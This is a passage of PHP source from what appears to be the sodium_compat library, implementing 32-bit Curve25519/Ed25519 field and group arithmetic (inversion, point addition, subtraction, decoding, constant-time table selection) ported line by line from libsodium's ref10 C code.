        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 20; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 20; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 10; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 10; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t1, t0);
        $t0 = self::fe_mul($t1, $t0);
        $t1 = self::fe_sq($t0);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t1, t1, t0);
        # fe_sq(t2, t1);
        $t1 = self::fe_mul($t1, $t0);
        $t2 = self::fe_sq($t1);

        # for (i = 1; i < 100; ++i) {
        #     fe_sq(t2, t2);
        # }
        for ($i = 1; $i < 100; ++$i) {
            $t2 = self::fe_sq($t2);
        }

        # fe_mul(t1, t2, t1);
        # fe_sq(t1, t1);
        $t1 = self::fe_mul($t2, $t1);
        $t1 = self::fe_sq($t1);

        # for (i = 1; i < 50; ++i) {
        #     fe_sq(t1, t1);
        # }
        for ($i = 1; $i < 50; ++$i) {
            $t1 = self::fe_sq($t1);
        }

        # fe_mul(t0, t1, t0);
        # fe_sq(t0, t0);
        # fe_sq(t0, t0);
        # fe_mul(out, t0, z);
        $t0 = self::fe_mul($t1, $t0);
        $t0 = self::fe_sq($t0);
        $t0 = self::fe_sq($t0);
        return self::fe_mul($t0, $z);
    }

    /**
     * Subtract two field elements.
     *
     * h = f - g
     *
     * Preconditions:
     * |f| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     * |g| bounded by 1.1*2^25,1.1*2^24,1.1*2^25,1.1*2^24,etc.
     *
     * Postconditions:
     * |h| bounded by 1.1*2^26,1.1*2^25,1.1*2^26,1.1*2^25,etc.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core32_Curve25519_Fe $g
     * @return ParagonIE_Sodium_Core32_Curve25519_Fe
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedMethodCall
     * @psalm-suppress MixedTypeCoercion
     */
    public static function fe_sub(ParagonIE_Sodium_Core32_Curve25519_Fe $f, ParagonIE_Sodium_Core32_Curve25519_Fe $g)
    {
        return ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
            array(
                $f[0]->subInt32($g[0]),
                $f[1]->subInt32($g[1]),
                $f[2]->subInt32($g[2]),
                $f[3]->subInt32($g[3]),
                $f[4]->subInt32($g[4]),
                $f[5]->subInt32($g[5]),
                $f[6]->subInt32($g[6]),
                $f[7]->subInt32($g[7]),
                $f[8]->subInt32($g[8]),
                $f[9]->subInt32($g[9])
            )
        );
    }

    /**
     * Add two group elements.
     *
     * r = p + q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_add(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YplusX);
        $r->Y = self::fe_mul($r->Y, $q->YminusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0   = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @ref https://github.com/jedisct1/libsodium/blob/157c4a80c13b117608aeae12178b2d38825f9f8f/src/libsodium/crypto_core/curve25519/ref10/curve25519_ref10.c#L1185-L1215
     * @param string $a
     * @return array<int, mixed>
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayOffset
     */
    public static function slide($a)
    {
        if (self::strlen($a) < 256) {
            if (self::strlen($a) < 16) {
                $a = str_pad($a, 256, '0', STR_PAD_RIGHT);
            }
        }
        /** @var array<int, int> $r */
        $r = array();
        for ($i = 0; $i < 256; ++$i) {
            $r[$i] = (int) (1 &
                (
                    self::chrToInt($a[$i >> 3])
                        >>
                    ($i & 7)
                )
            );
        }

        for ($i = 0;$i < 256;++$i) {
            if ($r[$i]) {
                for ($b = 1;$b <= 6 && $i + $b < 256;++$b) {
                    if ($r[$i + $b]) {
                        if ($r[$i] + ($r[$i + $b] << $b) <= 15) {
                            $r[$i] += $r[$i + $b] << $b;
                            $r[$i + $b] = 0;
                        } elseif ($r[$i] - ($r[$i + $b] << $b) >= -15) {
                            $r[$i] -= $r[$i + $b] << $b;
                            for ($k = $i + $b; $k < 256; ++$k) {
                                if (!$r[$k]) {
                                    $r[$k] = 1;
                                    break;
                                }
                                $r[$k] = 0;
                            }
                        } else {
                            break;
                        }
                    }
                }
            }
        }
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $s
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_frombytes_negate_vartime($s)
    {
        static $d = null;
        if (!$d) {
            $d = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */

        # fe_frombytes(h->Y,s);
        # fe_1(h->Z);
        $h = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_frombytes($s),
            self::fe_1()
        );

        # fe_sq(u,h->Y);
        # fe_mul(v,u,d);
        # fe_sub(u,u,h->Z);       /* u = y^2-1 */
        # fe_add(v,v,h->Z);       /* v = dy^2+1 */
        $u = self::fe_sq($h->Y);
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d */
        $v = self::fe_mul($u, $d);
        $u = self::fe_sub($u, $h->Z); /* u =  y^2 - 1 */
        $v = self::fe_add($v, $h->Z); /* v = dy^2 + 1 */

        # fe_sq(v3,v);
        # fe_mul(v3,v3,v);        /* v3 = v^3 */
        # fe_sq(h->X,v3);
        # fe_mul(h->X,h->X,v);
        # fe_mul(h->X,h->X,u);    /* x = uv^7 */
        $v3 = self::fe_sq($v);
        $v3 = self::fe_mul($v3, $v); /* v3 = v^3 */
        $h->X = self::fe_sq($v3);
        $h->X = self::fe_mul($h->X, $v);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^7 */

        # fe_pow22523(h->X,h->X); /* x = (uv^7)^((q-5)/8) */
        # fe_mul(h->X,h->X,v3);
        # fe_mul(h->X,h->X,u);    /* x = uv^3(uv^7)^((q-5)/8) */
        $h->X = self::fe_pow22523($h->X); /* x = (uv^7)^((q-5)/8) */
        $h->X = self::fe_mul($h->X, $v3);
        $h->X = self::fe_mul($h->X, $u); /* x = uv^3(uv^7)^((q-5)/8) */

        # fe_sq(vxx,h->X);
        # fe_mul(vxx,vxx,v);
        # fe_sub(check,vxx,u);    /* vx^2-u */
        $vxx = self::fe_sq($h->X);
        $vxx = self::fe_mul($vxx, $v);
        $check = self::fe_sub($vxx, $u); /* vx^2 - u */

        # if (fe_isnonzero(check)) {
        #     fe_add(check,vxx,u);  /* vx^2+u */
        #     if (fe_isnonzero(check)) {
        #         return -1;
        #     }
        #     fe_mul(h->X,h->X,sqrtm1);
        # }
        if (self::fe_isnonzero($check)) {
            $check = self::fe_add($vxx, $u); /* vx^2 + u */
            if (self::fe_isnonzero($check)) {
                throw new RangeException('Internal check failed.');
            }
            $h->X = self::fe_mul(
                $h->X,
                ParagonIE_Sodium_Core32_Curve25519_Fe::fromIntArray(self::$sqrtm1)
            );
        }

        # if (fe_isnegative(h->X) == (s[31] >> 7)) {
        #     fe_neg(h->X,h->X);
        # }
        $i = self::chrToInt($s[31]);
        if (self::fe_isnegative($h->X) === ($i >> 7)) {
            $h->X = self::fe_neg($h->X);
        }

        # fe_mul(h->T,h->X,h->Y);
        $h->T = self::fe_mul($h->X, $h->Y);
        return $h;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_madd(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;
        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yplusx);
        $r->Y = self::fe_mul($r->Y, $q->yminusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add(clone $p->Z, clone $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_add($t0, $r->T);
        $r->T = self::fe_sub($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_msub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $R,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $q
    ) {
        $r = clone $R;

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->yminusx);
        $r->Y = self::fe_mul($r->Y, $q->yplusx);
        $r->T = self::fe_mul($q->xy2d, $p->T);
        $t0 = self::fe_add($p->Z, $p->Z);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P2();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p1p1_to_p3(ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P3();
        $r->X = self::fe_mul($p->X, $p->T);
        $r->Y = self::fe_mul($p->Y, $p->Z);
        $r->Z = self::fe_mul($p->Z, $p->T);
        $r->T = self::fe_mul($p->X, $p->Y);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            self::fe_0(),
            self::fe_1(),
            self::fe_1()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p2_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $p)
    {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_sq($p->X);
        $r->Z = self::fe_sq($p->Y);
        $r->T = self::fe_sq2($p->Z);
        $r->Y = self::fe_add($p->X, $p->Y);
        $t0   = self::fe_sq($r->Y);
        $r->Y = self::fe_add($r->Z, $r->X);
        $r->Z = self::fe_sub($r->Z, $r->X);
        $r->X = self::fe_sub($t0, $r->Y);
        $r->T = self::fe_sub($r->T, $r->Z);

        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P3
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P3(
            self::fe_0(),
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Cached
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_to_cached(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        static $d2 = null;
        if ($d2 === null) {
            $d2 = ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                array(
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[0]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[1]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[2]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[3]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[4]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[5]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[6]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[7]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[8]),
                    ParagonIE_Sodium_Core32_Int32::fromInt(self::$d2[9])
                )
            );
        }
        /** @var ParagonIE_Sodium_Core32_Curve25519_Fe $d2 */
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached();
        $r->YplusX = self::fe_add($p->Y, $p->X);
        $r->YminusX = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_copy($p->Z);
        $r->T2d = self::fe_mul($p->T, $d2);
        return $r;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     */
    public static function ge_p3_to_p2(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_P2(
            $p->X,
            $p->Y,
            $p->Z
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_p3_dbl(ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p)
    {
        $q = self::ge_p3_to_p2($p);
        return self::ge_p2_dbl($q);
    }

    /**
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_precomp_0()
    {
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_1(),
            self::fe_1(),
            self::fe_0()
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $b
     * @param int $c
     * @return int
     * @psalm-suppress MixedReturnStatement
     */
    public static function equal($b, $c)
    {
        $b0 = $b & 0xffff;
        $b1 = ($b >> 16) & 0xffff;
        $c0 = $c & 0xffff;
        $c1 = ($c >> 16) & 0xffff;

        $d0 = (($b0 ^ $c0) - 1) >> 31;
        $d1 = (($b1 ^ $c1) - 1) >> 31;
        return ($d0 & $d1) & 1;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string|int $char
     * @return int (1 = yes, 0 = no)
     * @throws SodiumException
     * @throws TypeError
     */
    public static function negative($char)
    {
        if (is_int($char)) {
            return $char < 0 ? 1 : 0;
        }
        /** @var string $char */
        $x = self::chrToInt(self::substr($char, 0, 1));
        return (int) ($x >> 31);
    }

    /**
     * Conditional move
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     */
    public static function cmov(
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $t,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp $u,
        $b
    ) {
        if (!is_int($b)) {
            throw new InvalidArgumentException('Expected an integer.');
        }
        return new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_cmov($t->yplusx, $u->yplusx, $b),
            self::fe_cmov($t->yminusx, $u->yminusx, $b),
            self::fe_cmov($t->xy2d, $u->xy2d, $b)
        );
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param int $pos
     * @param int $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     * @psalm-suppress MixedArrayOffset
     * @psalm-suppress MixedArgument
     */
    public static function ge_select($pos = 0, $b = 0)
    {
        static $base = null;
        if ($base === null) {
            $base = array();
            foreach (self::$base as $i => $bas) {
                for ($j = 0; $j < 8; ++$j) {
                    $base[$i][$j] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][0][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][1][9])
                            )
                        ),
                        ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                            array(
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][0]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][1]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][2]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][3]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][4]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][5]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][6]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][7]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][8]),
                                ParagonIE_Sodium_Core32_Int32::fromInt($bas[$j][2][9])
                            )
                        )
                    );
                }
            }
        }
        if (!is_int($pos)) {
            throw new InvalidArgumentException('Position must be an integer');
        }
        if ($pos < 0 || $pos > 31) {
            throw new RangeException('Position is out of range [0, 31]');
        }

        $bnegative = self::negative($b);
        $babs = $b - (((-$bnegative) & $b) << 1);

        $t = self::ge_precomp_0();
        for ($i = 0; $i < 8; ++$i) {
            $t = self::cmov(
                $t,
                $base[$pos][$i],
                -self::equal($babs, $i + 1)
            );
        }
        $minusT = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
            self::fe_copy($t->yminusx),
            self::fe_copy($t->yplusx),
            self::fe_neg($t->xy2d)
        );
        return self::cmov($t, $minusT, -$bnegative);
    }

    /**
     * Subtract two group elements.
     *
     * r = p - q
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_sub(
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $p,
        ParagonIE_Sodium_Core32_Curve25519_Ge_Cached $q
    ) {
        $r = new ParagonIE_Sodium_Core32_Curve25519_Ge_P1p1();

        $r->X = self::fe_add($p->Y, $p->X);
        $r->Y = self::fe_sub($p->Y, $p->X);
        $r->Z = self::fe_mul($r->X, $q->YminusX);
        $r->Y = self::fe_mul($r->Y, $q->YplusX);
        $r->T = self::fe_mul($q->T2d, $p->T);
        $r->X = self::fe_mul($p->Z, $q->Z);
        $t0 = self::fe_add($r->X, $r->X);
        $r->X = self::fe_sub($r->Z, $r->Y);
        $r->Y = self::fe_add($r->Z, $r->Y);
        $r->Z = self::fe_sub($t0, $r->T);
        $r->T = self::fe_add($t0, $r->T);

        return $r;
    }

    /**
     * Convert a group element to a byte string.
     *
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function ge_tobytes(ParagonIE_Sodium_Core32_Curve25519_Ge_P2 $h)
    {
        $recip = self::fe_invert($h->Z);
        $x = self::fe_mul($h->X, $recip);
        $y = self::fe_mul($h->Y, $recip);
        $s = self::fe_tobytes($y);
        $s[31] = self::intToChr(
            self::chrToInt($s[31]) ^ (self::fe_isnegative($x) << 7)
        );
        return $s;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $a
     * @param ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A
     * @param string $b
     * @return ParagonIE_Sodium_Core32_Curve25519_Ge_P2
     * @throws SodiumException
     * @throws TypeError
     * @psalm-suppress MixedArrayAccess
     */
    public static function ge_double_scalarmult_vartime(
        $a,
        ParagonIE_Sodium_Core32_Curve25519_Ge_P3 $A,
        $b
    ) {
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */
        $Ai = array();

        static $Bi = array();
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp> $Bi */
        if (!$Bi) {
            for ($i = 0; $i < 8; ++$i) {
                $Bi[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Precomp(
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][0][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][1][9])
                        )
                    ),
                    ParagonIE_Sodium_Core32_Curve25519_Fe::fromArray(
                        array(
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][0]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][1]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][2]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][3]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][4]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][5]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][6]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][7]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][8]),
                            ParagonIE_Sodium_Core32_Int32::fromInt(self::$base2[$i][2][9])
                        )
                    )
                );
            }
        }

        for ($i = 0; $i < 8; ++$i) {
            $Ai[$i] = new ParagonIE_Sodium_Core32_Curve25519_Ge_Cached(
                self::fe_0(),
                self::fe_0(),
                self::fe_0(),
                self::fe_0()
            );
        }
        /** @var array<int, ParagonIE_Sodium_Core32_Curve25519_Ge_Cached> $Ai */

        # slide(aslide,a);
        # slide(bslide,b);
        /** @var array<int, int> $aslide */
        $aslide = self::slide($a);
        /** @var array<int, int> $bslide */
        $bslide = self::slide($b);

        # ge_p3_to_cached(&Ai[0],A);
        # ge_p3_dbl(&t,A); ge_p1p1_to_p3(&A2,&t);
        $Ai[0] = self::ge_p3_to_cached($A);
        $t = self::ge_p3_dbl($A);
        $A2 = self::ge_p1p1_to_p3($t);

        # ge_add(&t,&A2,&Ai[0]); ge_p1p1_to_p3(&u,&t); ge_p3_to_cached(&Ai[1],&u);
